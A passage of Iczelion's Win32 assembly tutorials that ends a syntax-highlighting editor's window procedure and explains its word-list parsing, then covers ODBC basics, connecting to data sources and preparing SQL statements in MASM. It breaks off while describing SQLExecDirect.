                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search menu bar
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

Analysis:

The first action before calling WinMain to to call FillHiliteInfo. This function reads the content of wordfile.txt and parses the content.

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray

Initialize ASMSyntaxArray to zero.

    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName

Construct the full path name of wordfile.txt: I assume that it's always in the same folder as the program.

    invoke GetFileAttributes,addr buffer
    .if eax!=-1

I use this method as a quick way of checking whether a file exists.

        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax

Allocate the memory block to store the words. Default to 10K. The memory is allocated from the default heap.

@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0

I use GetPrivateProfileString to retrieve the content of each key in wordfile.txt. The key starts from C1 to C10.

            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif

Checking whether the memory block is large enough. If it is not, we increment the size by 10K until the block is large enough.

            mov edx,offset ASMColorArray
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray

Pass the words, the memory block handle, the size of the data read from wordfile.txt, the address of the color dword that will be used to hilight the words and the address of ASMSyntaxArray.

Now, let's examine what ParseBuffer does. In essence, this function accepts the buffer containing the words to be hilighted ,parses them to individual words and stores each of them in a WORDINFO structure array that can be accessed quickly from ASMSyntaxArray.

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE

InProgress is the flag I use to indicate whether the scanning process has begun. If the value is FALSE, we haven't encountered a non-white space character yet.

    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi

esi points to our local buffer that will contain the word we have parsed from the word list. edi points to the word list string. To simplify the search later, we convert all characters to lowercase.

    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord

Scan the whole word list in the buffer, looking for the white spaces. If a white space is found, we have to determine whether it marks the end or the beginning of a word.

    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop

If the byte under scrutiny is not a white space, we copy it to the buffer to construct a word and then continue the scan.

EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt

If a white space is found, we check the value in InProgress. If the value is TRUE, we can assume that the white space marks the end of a word and we may proceed to put the word currently in the local buffer (pointed to by esi) into a WORDINFO structure. If the value is FALSE, we continue the scan until a non-white space character is found.

WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO

When the end of a word is found, we append 0 to the buffer to make the word an ASCIIZ string. We then allocate a block of memory from the heap the size of WORDINFO for this word.

    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax

We obtain the length of the word in the local buffer and store it in the WordLen member of the WORDINFO structure, to be used as a quick comparison.

    push ArrayOffset
    pop [esi].pColor

Store the address of the dword that contains the color to be used to hilight the word in pColor member.

    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer

Allocate memory from the heap to store the word itself. Right now, the WORDINFO structure is ready to be inserted into the appropriate linked list.

    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; multiply by 4
    add eax,edx

pArray contains the address of ASMSyntaxArray. We want to move to the dword that has the same index as the value of the first character of the word. So we put the first character of the word in edx then multiply edx by 4 (because each element in ASMSyntaxArray is 4 bytes in size) and then add the offset to the address of ASMSyntaxArray. We have the address of the corresponding dword in eax.

    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif

Check the value of the dword. If it's 0, it means there is currently no word that begins with this character in the list. We thus put the address of the current WORDINFO structure in that dword.

If the value in the dword is not 0, it means there is at least one word that begins with this character in the array. We thus insert this WORDINFO structure to the head of the linked list and update its NextLink member to point to the next WORDINFO structure.

    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt

After the operation is complete, we begin the next scan cycle until the end of buffer is reached.

        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; means this message is not processed
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif

After the richedit control is created, we need to determine the its version. This step is necessary since EM_POSFROMCHAR behaves differently for RichEdit 2.0 and 3.0 and EM_POSFROMCHAR is crucial to our syntax hilighting routine. I have never seen a documented way of checking the version of richedit control thus I have to use a workaround. In this case, I set an option that is specific to version 3.0 and immediately retrieve its value. If I can retrieve the value, I assume that the control version is 3.0.

If you use RichEdit control version 3.0, you will notice that updating the font color for a large file takes quite a long time. This problem seems to be specific to version 3.0. I found a workaround: making the control emulate the behavior of the system edit control by sending EM_SETEDITSTYLE message.


ODBC Programming Tutorial: Basics

ODBC Basics

This is the first tutorial in the series that deals with database programming in win32asm. Database programming is becoming more important in the world of IT. We cannot ignore it anymore. However, there are so many types of databases in use today. If we have to learn the database file formats in order to implement win32asm database programming, it would take like eternity.

Fortunately, Microsoft has a technology that helps us tremendously in this regard. It's called ODBC which stands for Open Database Connectivity. In essence, it's a set of APIs, the same as Windows APIs, that deal specifically with database programming. That is, with ODBC APIs, you have a relatively uniform way of accessing a wide variety of databases.

How does ODBC work? What's its structure? You should get a clear picture of ODBC architecture before using it. There are four components in ODBC:

  • Application (your program)
  • ODBC manager
  • ODBC Drivers
  • Data Sources (databases)

The center of all four components is the ODBC manager. You can think of it as your foreman. You tell him what work you want done and he conveys your desire to his workers (ODBC drivers) and gets the job done. If the workers have some messages for you, they tell the foreman (ODBC manager) and the foreman relays the messages to you. The workers know their job well thus they can get it done for you.

In this model, you don't talk directly with database drivers. You tell ODBC manager what you want. It's the job of the ODBC manger to translate your wish into reality by using the appropriate ODBC drivers. Each ODBC driver knows everything there is to know about the database it's designed for. Thus each component does what it does best, simplifying the jobs enormously.

Your program <----> ODBC manager<----> ODBC Drivers <----> Databases

ODBC manager is supplied by Microsoft. Check your Control Panel. If your machine has ODBC installed correctly, you'll find ODBC Data Sources (32-bit) applet there. As to ODBC drivers, Microsoft supplies several with their products. And you can always obtain new ODBC drivers from the database providers. Just by installing new ODBC drivers, your machine can utilize new databases it hasn't known about before.

ODBC APIs are simple to use, however, you need to know something about SQL and database such as the meaning of field, primary key, record, column, row etc. I have to assume you have some basics in database theory so I can get on with the mechanics of ODBC programming in win32asm. As you can see, ODBC manager tries to hide the implementation details from your program. That means it has to specify some standard interfaces for talking to your program and the ODBC drivers. ODBC drivers differ in their capabilities so there must be a way for our applications to find out whether an ODBC driver supports a particular feature. ODBC defines three levels of services called Interface Conformance Levels. They are Core, Level 1 and Level 2. Every ODBC driver must implement all features specified in the core level list where as they can choose to implement features in level 1 or level 2. From our applications' point of view, ODBC APIs are divided between those three levels. If a specific function is labelled as core, it means you can use it without checking whether it's supported by a particular ODBC driver you're using. If it's a level 1 or 2 function, you need to make sure that the ODBC driver supports it before using it. You can obtain the details of ODBC APIs from MSDN.

You need to know some ODBC terms before plunging into coding.

  • Environment. It's just that, a global context in which to access data. If you are familiar with DAO, you can think of it as a workspace. It contains information that applies to the whole ODBC session such as the handles of connections in this session. You must obtain the handle to environment before you can begin working with ODBC.
  • Connection. Specify the ODBC driver and the data source (database). You can have multiple connections to different databases in the same environment.
  • Statement. ODBC uses SQL as its language. Thus a statement can be simply thought of as an SQL statement you want ODBC to execute.

Below are the steps you usually perform when coding with ODBC:

  1. Connect to the data source
  2. Build and execute one or more SQL statements
  3. Examine the resulting records (if any)
  4. Disconnect from the data source

We will learn how to perform each step in the next tutorials.

[Iczelion's Win32 Assembly Homepage]


ODBC Programming Tutorial: Connecting to the Data Source

Connecting to Data Source

In this tutorial, we learn the mechanics of using ODBC APIs.

Your program doesn't talk directly to the ODBC drivers. It talks to the ODBC manager. The ODBC manager defines a set of APIs your program can call to direct it to do the job for you. In your program, you need to include odbc32.inc and odbc32.lib. Also you need to include windows.inc.

The steps in connecting to the data source are as follows:

  1. Allocate an environment handle. You need to do this only once per ODBC session. Once you obtain the handle, you can modify the environment properties to suit your particular needs. You can think of this step as creating the workspace for your DB job.
  2. Indicate what version of ODBC your program wants to use. You can choose between ODBC version 2.x and 3.x. They are different in many respects thus this step is necessary so the ODBC manager can decide which syntax it should use to communicate with your program and interpret the commands from your program.
  3. Allocate a connection handle. This step can be viewed as creating an empty connection. You haven't specify what driver you want to use and which database you need to connect. Such information will be filled in later.
  4. Establish a connection. You call an ODBC function to establish the connection.

When you are done with the connection, you must close and destroy it in the following steps:

  1. Disconnect from the data source.
  2. Destroy the connection handle.
  3. Destroy the environment handle (if you don't want to use this environment for more connections)

Allocating a Handle

In ODBC versions prior to 3.x, you need to call separate functions for allocating environment, connection, and statement handles (SQLAllocEnv, SQLAllocConnect, SQLAllocStmt). Now under ODBC 3.x, those functions are superseded by SQLAllocHandle which has the following syntax:

SQLRETURN SQLAllocHandle( SQLSMALLINT HandleType,
                                              SQLHANDLE InputHandle,
                                              SQLHANDLE * OutputHandlePtr
                                            );

The above line may look daunting. I will simplify it for you.

SQLAllocHandle proto HandleType:DWORD,
                                    InputHandle:DWORD,
                                    OutputHandlePtr:DWORD

SQLRETURN is defined as type SQLSMALLINT. And SQLSMALLINT is defined as a short integer, ie. a word (16 bits). So the function returns the value in ax, not eax. This is important. However, parameter passing to a function under Win32 is done via the 32-bit stack. Thus even if the parameter is defined as a word-size one, you must extend it to 32-bit. That's why HandleType is a dword instead of a word. You can check with the import lib, odbc32.lib. The entry for SQLAllocHandle is _SQLAllocHandle@12. Which means the combined size of parameters for this function is 12 bytes (3 dwords). However, this doesn't mean that the C function prototype is incorrect. SQLAllocHandle will only use the low word of HandleType and ignore the high word. Thus the C function prototype is functionally correct while our asm function prototype reflects practicality.

With SQL type discussion out of the way, we can turn our attention to the function parameters and the return value.

  • HandleType is a constant that defines what type of handle you want to allocate. The possible values are:
SQL_HANDLE_ENV | Environment handle
SQL_HANDLE_DBC | Connection handle
SQL_HANDLE_STMT | Statement handle
SQL_HANDLE_DESC | Descriptor handle

A descriptor is a collection of metadata that describes the parameters of an SQL statement or the columns of a result set, as seen by the application or driver

  • InputHandle is the handle of the parent "context". That is, if you want to allocate a connection handle, you need to pass an environment handle because the connection will be made in the context of that environment. If you want to allocate an environment handle, this parameter must be SQL_HANDLE_NULL (beware of the value of SQL_HANDLE_NULL in windows.inc version 1.18 and below. It is defined improperly as 0L. You need to delete the "L" else your program will not assemble. The fault is mine alone since I'm the one who updated the SQL/ODBC part of windows.inc.) because there is no parent context for an environment. As for the statement and descriptor handles, you must pass the connection handle as this parameter as both statement and descriptor occur in the context of a connection
  • OutputHandlePtr points to a dword variable that will receive the allocated handle if the call is successful.

The possible return values of SQLAllocHandle can be:

SQL_SUCCESS | The function completed successfully.
SQL_SUCCESS_WITH_INFO | The function completed successfully but with possible non-fatal errors (warnings).
SQL_ERROR | The function failed.
SQL_INVALID_HANDLE | The handle passed to the function is invalid.

Whether the function succeeded or failed, you can obtain more information about it by calling SQLGetDiagRec or SQLGetDiagField. They serve the same role as GetLastError in Win32 API.

Example:

.data?
hEnv dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

Choosing ODBC version

After allocating an environment handle, you need to set an environment attribute, SQL_ATTR_ODBC_VERSION, to the appropriate value. "Attributes" are just variables. Setting the value of an environment attribute is done by calling SQLSetEnvAttr. By now you should be able to guess that there are also SQLSetConnectAttr and SQLSetStmtAttr. SQLSetEnvAttr is defined as:

SQLSetEnvAttr proto EnvironmentHandle:DWORD,
                                   Attribute:DWORD,
                                   ValuePtr:DWORD,
                                   StringLength:DWORD
  • EnvironmentHandle. As the name speaks for itself, it contains the handle to the environment which attribute you want to set.
  • Attribute. A constant that represents the attribute you want to set. For our purpose, it's SQL_ATTR_ODBC_VERSION. You can look up the full list from MSDN.
  • ValuePtr. The meaning of this parameter depends on the attribute you want to set. If the attribute is a 32-bit value, this parameter is treated as the value you want to set. If the attribute is a text string or a binary buffer, it is interpreted as the pointer to the string or the buffer. If you specify SQL_ATTR_ODBC_VERSION, there are two possible values that you can use: SQL_OV_ODBC3 and SQL_OV_ODBC2, for ODBC version 3.x and 2.x respectively.
  • StringLength. The size of the value pointed to by ValuePtr. If the value is a string or a binary buffer, this parameter must be valid. If the attribute you want to set is a dword, this parameter is ignored. Since SQL_ATTR_ODBC_VERSION attribute contains a dword value, you can pass NULL as this parameter.

The list of possible return values is identical to that of SQLAllocHandle.

Example:

.data?
hEnv dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLSetEnvAttr, hEnv, SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3, NULL
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

Allocating a connection handle

This step is quite similar to allocating the environment handle. You also call SQLAllocHandle but pass to it different parameter values.

Example:

.data?
hEnv dd ?
hConn dd ?

.code
invoke SQLAllocHandle, SQL_HANDLE_ENV, SQL_HANDLE_NULL, addr hEnv
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLSetEnvAttr, hEnv, SQL_ATTR_ODBC_VERSION, SQL_OV_ODBC3, NULL
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO
invoke SQLAllocHandle, SQL_HANDLE_DBC, hEnv, addr hConn
.if ax==SQL_SUCCESS || ax==SQL_SUCCESS_WITH_INFO

Establish a connection

We are now ready to attempt the actual connection to the data source via selected ODBC driver. There are actually three ODBC functions we can use to achieve that goal. They offer varying degrees of "choices" you can make.

SQLConnect | Core | This is the simplest function. It needs only the DSN (Data source name) and optional user name and password. It doesn't offer any GUI options such as prompting the user with a dialog box for more information. You should use this function if you already have a DSN for the required database.
SQLDriverConnect | Core | This function offers more support than SQLConnect. You can connect to a data source that is not defined in the system information, ie. without DSN. Furthermore, you can specify whether this function will display a dialog box prompting the user for more information. For example, if you omitted the filename of the database, it will instruct the ODBC driver to display a dialog box prompting the user to select the database to connect.
SQLBrowseConnect | Level 1 | This function offers data source enumeration at runtime. It provides more flexibility than SQLDriverConnect because you can call SQLBrowseConnect several times in succession, each time prompting the user for more specific information until finally you obtain the working connection string.

I'll examine SQLConnect first. In order to use SQLConnect, you need to know about DSN. DSN stands for Data Source Name, a string that uniquely identifies a data source. A DSN identifies a data structure that contains info on how to connect to a specific data source. The info includes what ODBC driver to use and which database to connect to. You create, modify and delete DSNs using 32-bit ODBC Administrator in the control panel.

SQLConnect has the following syntax:

SQLConnect proto ConnectionHandle:DWORD
                              pDSN:DWORD,
                              DSNLength:DWORD,
                              pUserName:DWORD,
                              NameLength:DWORD,
                              pPassword:DWORD,
                              PasswordLength:DWORD
  • ConnectionHandle. The handle to the connection you want to use.
  • pDSN. Pointer to the DSN string.
  • DSNLength. The length of the DSN string
  • pUserName. Pointer to the user name string
  • NameLength. The length of the user name string
  • pPassword. Pointer to the password associated with the user name
  • PasswordLength. The length of the password

At the mininum, SQLConnect requires the connection handle, DSN and its length: user name and password are optional if the data source doesn't require them. The list of possible return values is identical to that of SQLAllocHandle.

Assuming you have a DSN named "Sales" in your system and you want to connect to it. You can do it like this:

.data
DSN db "Sales",0

.code
......
invoke SQLConnect, hConn, addr DSN, sizeof DSN,0,0,0,0

One disadvantage of SQLConnect is that, you have to create a DSN before you can connect to the data source. SQLDriverConnect offers more flexibility. It has the following syntax:

SQLDriverConnect proto ConnectionHandle:DWORD,
                                        hWnd:DWORD,
                                        pInConnectString:DWORD,
                                        InStringLength:DWORD,
                                        pOutConnectString:DWORD,
                                        OutBufferSize:DWORD,
                                        pOutConnectStringLength:DWORD,
                                        DriverCompletion:DWORD

  • ConnectionHandle     The handle to the connection
  • hWnd The handle to your window. If you pass NULL as this parameter, the driver will not prompt the user with a dialog box for more information (if needed).
  • pInConnectString The pointer to the connection string. This is an ASCIIZ string that follows the format described by the specific ODBC driver you want to connect to. It describes the name of the driver and the data source and additional attributes. The full description of connection string is available in MSDN. I won't go into detail here.
  • InStringLength The length of the connect string.
  • pOutConnectString The pointer to the buffer that will be filled with the complete connection string. The size of this buffer should be at least 1,024 bytes. This may sound confusing. The connection string you passed to the function may not be complete. In that case, the ODBC driver may prompt the user for more information. The ODBC driver then constructs the complete connection string from all available information and puts it in the buffer. Even if the connection string you supplied was functional, this buffer will be filled with more attributes. The purpose of this parameter is so you can save the complete connection string for future connection.
  • OutBufferSize The size of the buffer pointed to by pOutConnectString.
  • pOutConnectStringLength The pointer to a dword variable that will receive the actual length of the complete connection string returned by the ODBC driver.
  • DriverCompletion A flag that specifies whether the ODBC manager/driver will prompt the user for more information. However, the flag depends on whether you pass a window handle to hWnd parameter of SQLDriverConnect. If you didn't, the ODBC manager/driver won't prompt the user even if this flag instructs it to.
    SQL_DRIVER_PROMPT | The ODBC driver prompts the user for information. It uses the information to construct the connection string.
    SQL_DRIVER_COMPLETE
    SQL_DRIVER_COMPLETE_REQUIRED     		The ODBC driver will prompt the user only if the connection string supplied by your program is not complete.
    SQL_DRIVER_NOPROMPT | The ODBC driver won't prompt the user for more information.

Example:

.data
strConnect db "DBQ=c:\data\test.mdb;DRIVER={Microsoft Access Driver (*.mdb)};",0

.data?
buffer db 1024 dup(?)
OutStringLength dd ?

.code
.....
invoke SQLDriverConnect, hConn, hWnd, addr strConnect, sizeof strConnect, addr buffer, sizeof buffer, addr OutBufferLength, SQL_DRIVER_COMPLETE

Disconnecting from the data source

After the connection is made successfully, you can construct one or more statements and query the data source. I'll examine that part in the next tutorial. For now, let's assume you're done with the data source, you need to disconnect from it by calling SQLDisconnect. This function is quite simple (Reflecting the harsh and sad reality that destruction is much easier than construction). It takes only one parameter, the connection handle.

invoke SQLDisconnect, hConn

Freeing the connection and environment handles

After the successful disconnect, you can now destroy the connection and environment handles by calling SQLFreeHandle. This is a new function introduced in ODBC 3.x. It supersedes SQLFreeConnect, SQLFreeEnv and SQLFreeStmt. SQLFreeHandle has the following syntax:

SQLFreeHandle proto HandleType:DWORD, Handle:DWORD
  • HandleType is a constant that identifies the type of handle you passed to this function as the second parameter. The possible values are the same as those used in SQLAllocHandle
  • Handle is the handle you want to destroy.

For example:

invoke SQLFreeHandle, SQL_HANDLE_DBC, hConn
invoke SQLFreeHandle, SQL_HANDLE_ENV, hEnv

[Iczelion's Win32 Assembly Homepage]


ODBC Programming Tutorial: Preparing and Using Statements

Preparing and Using Statements

In this tutorial, we will further our study of ODBC programming. Specifically, we will learn how to interact with the data source via ODBC.

In the previous tutorial, you know how to make a connection to a data source. It's the first step. A connection defines a data path between you and the data source. It's passive. In order to interact with the data source, you need to use statement. You can think of a statement as a command you send to a data source. The "command" must be written in SQL. With statement, you can modify the structure of the data source, query it for data, update data and delete data.

The steps in preparing and using statement are as follows:

  1. Allocate a statement handle
  2. Create the SQL statement
  3. Execute the statement
  4. Destroy the statement

Allocate a statement handle

You allocate a statement handle by calling SQLAllocHandle, passing it the appropriate arguments. For example,

.data?
hStmt dd ?

.code
......
invoke SQLAllocHandle, SQL_HANDLE_STMT, hConn, addr hStmt

Create the SQL statement

This part, you have to help yourself. You must learn about SQL grammar. For example, if you want to create a table, you need to understand CREATE TABLE.

Execute the statement

There are four ways of executing a statement, depending on when they are compiled (prepared) by the database engine and who defines them.

Direct Execution | Your program defines the SQL statement. The statement is compiled and executed at runtime in one step.
Prepared Execution | Your program also defines the SQL statement. However, the preparation and execution are divided into two steps: first the SQL statement is prepared (compiled) and then it is executed. With this method, you can compile the SQL statement once and then execute the same SQL statement multiple times. It saves time.
Procedures | The SQL statements are compiled and stored at the data source. Your program calls those statements at run time.
Catalog | The SQL statements are hardcoded into the ODBC driver. The purpose of catalog functions is to return predefined result sets such as the names of the tables in the database. All in all, catalog functions are used to obtain information about the data source. Your program calls them at run time.

These four methods have their pros and cons. Direct execution is good when you run a particular SQL statement only once. If you need to run a particular statement several times in succession, you'd better use prepared execution because the SQL statement will be compiled the first time it runs. On subsequent runs, it will execute faster because the statement is already compiled. Procedures are the best choices if you want speed. Because the procedures are already compiled and stored at the data source, they run fast. The downside is that not all data stores support procedures. Catalog is for obtaining information about the structure of the data source.

In this tutorial, we will focus on direct execution and prepared execution because they are done on our application's side. Writing procedures (stored procedures) are DBMS-specific. We will make use of catalog functions in the future.

Direct Execution

To execute your SQL statement directly and instantly, call SQLExecDirect which has the following syntax:

SQLExecDirect proto StatementHandle:DWORD,
                                  pStatementText:DWORD,
                                  TextLength:DWORD
  • StatementHandle. The handle to the statement you want to use
